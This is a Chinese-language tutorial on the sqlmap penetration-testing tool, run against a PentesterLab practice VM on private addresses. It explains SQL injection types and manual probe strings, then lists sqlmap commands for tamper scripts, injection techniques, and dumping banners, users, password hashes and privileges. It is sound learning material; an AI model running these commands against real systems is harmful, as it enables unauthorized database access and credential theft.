sqlmap介紹和使用一


sqlmap介紹:

           sqlmap開源的滲透測試工具,可以自動檢測和利用sql注入缺陷,基於python編寫,建議下載2.7或者2.8版本的python直接在命令行中調用解釋器運行。

測試環境:

           vmare搭建靶場pentesterlab   使用python +  sqlmap進行測試

sql注入原理:

           當客戶端提交的數據未作處理或轉義直接帶入數據庫,就可能造成sql注入,攻擊者通過直接構造不同的sql語句來實現對數據庫的任意操作。

sql注入的分類:

         按變量類型分:數字型和字符型

         按照HTTP提交方式分:POST注入、GET注入和Cookie注入

        按注入方式分:布爾注入、聯合注入、多語句注入、報錯注入、延時注入、內聯注入

SQL注入基本手工注入流程:     

   判斷注入點:

         數字型:id=2-1
   字符型:' 、')、 '))、 "、 ")、"))
   注釋符:-- (這是--空格)、--+、/**/、#

一、sqlmap使用:

        (1)查看sqlmap版本信息      python sqlmap.py  --version
          (2)查看sqlmap的幫助信息   python sqlmap.py  --help
二、 sqlmap直連數據庫:
         (1)服務型數據or關系型數據庫,(用戶名:root 密碼:123456)
                python  sqlmap.py   -d  "mysql://root:123456@xxxx.xxxx.xxxx.xxxx:3306/testdb" -f --banner --dbs --users
         (2)文件型數據庫(前提條件:數據庫的絕對路徑)
                DBMS://DATABSE_FILEPATH(SQLite,ACCESS,等等)
         (3)sqlmap 針對單一的url探測,參數使用-u
             python  sqlmap.py  -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --banner

三、 提高sqlmap 探測速度的方法
       (1)持久連接  sqlmap  -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --current-db  --keep-alive
         (2)  多線程   sqlmap   -u  "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbs  --thread 10

四、 指定數據庫類型
          (1)  sqlmap  -u   "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --current-db
        (2)sqlmap  -u “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbms  mysql [版本號] --current-db      

五、 指定os后端操作系統 linux  windows
       (1)sqlmap  -u   “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbms  mysql  --os windows --current-db

六、 指定寬字節注入(tamper="unmagicquotes.py")
       (1)sqlmap  -u     "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbms  mysql  --dbs --thread 10 --tamper="unmagicquotes.py"  -v 3 --batch

八、  強制設置無效值替換  --invalid -bignum,強制使用大整數來實現相同的目標(如id=88888).
       (1)python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-bignum --current-db -v 3
         強制使用布爾操作來實現相同的目標 --invalid-logical (如id =1 and  1=2)
         (1)  python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-logical   --current-db -v 3
         強制使用隨機字符串來實現相同的目標 --invalid-string(如id=abcde)
         (1)  python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-string   --current-db -v 3

九、 sqlmap設置自定義檢測參數
          指定要執行的測試等級的參數,一共五個層次  --level, 探測等級5,
          --risk 平台危險等級3,一共3個等級,都是最高級別。當level=2時,會測試cookie注入。當level=3時,會測試user-agent/referer注入
        (1)python  sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --level=3 --tamper=base64encode --current-db
          (2)  python  sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --level=5 --risk=3  --tamper=base64encode --current-db

十、 sqlmap設置具體sql注入技術
        --techbnique 參數用來設置具體sql 注入技術。
           B:Boolean-based blind  基於布爾的盲注
           E:Error-based 報錯注入
           U:Union query-based Unbion查詢注入
           S:Stacked queries  堆疊注入
           T:Timed-based blind   時間的盲注
           Q:lnline queries   內聯查詢注入
          (1)  python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4 --technique B --dbs
          (2)  python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4 --technique BS --dbs

 十一、sqlmap設置時間盲注延遲時間,設置秒來延遲響應(DBMS延時)--time-sec選項
          (1) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique  T
          (2) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique  T  --time-sec 3
                                  
十二、sqlmap設置union字段數,默認情況下,sqlmap測試使用1到10列的union查詢sql注入技術,但是通過提供更高--level值,可以將此范圍增加到50列
          手動方法為工具提供選--union-cols后跟一些列整數,如12-16表示使用12到16個列對union查詢sql注入進行測試
          (1) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique U  union-cols 12-18   
          (2) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 3  --technique U --union-char 123
          (3) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique U --union-char 1 --union-cols 12-18  
十三、sqlmap 檢索DBMS Banner
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --banner  -v 3
          sqlmap  檢索DBMS當前用戶      
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --current-user  -v  3
          sqlmap  檢索當前數據庫
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --current-db  -v  3
          sqlmap  檢索當前數據庫主機名  --hostname
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --hostname  -v  3
          sqlmap  檢索當前用戶是否是DBA  --is-dba           
        (1)python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"    --is-dba
          sqlmap 枚舉DBMS用戶
        (1)python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"    --technique  BU  --users
          sqlmap枚舉DBMS用戶密碼
        (1) python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"   --technique  BU  --password
          sqlmap 枚舉DBMS權限
        (1) python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example7/?id=1"   --role
          (2)   python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --privileges


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM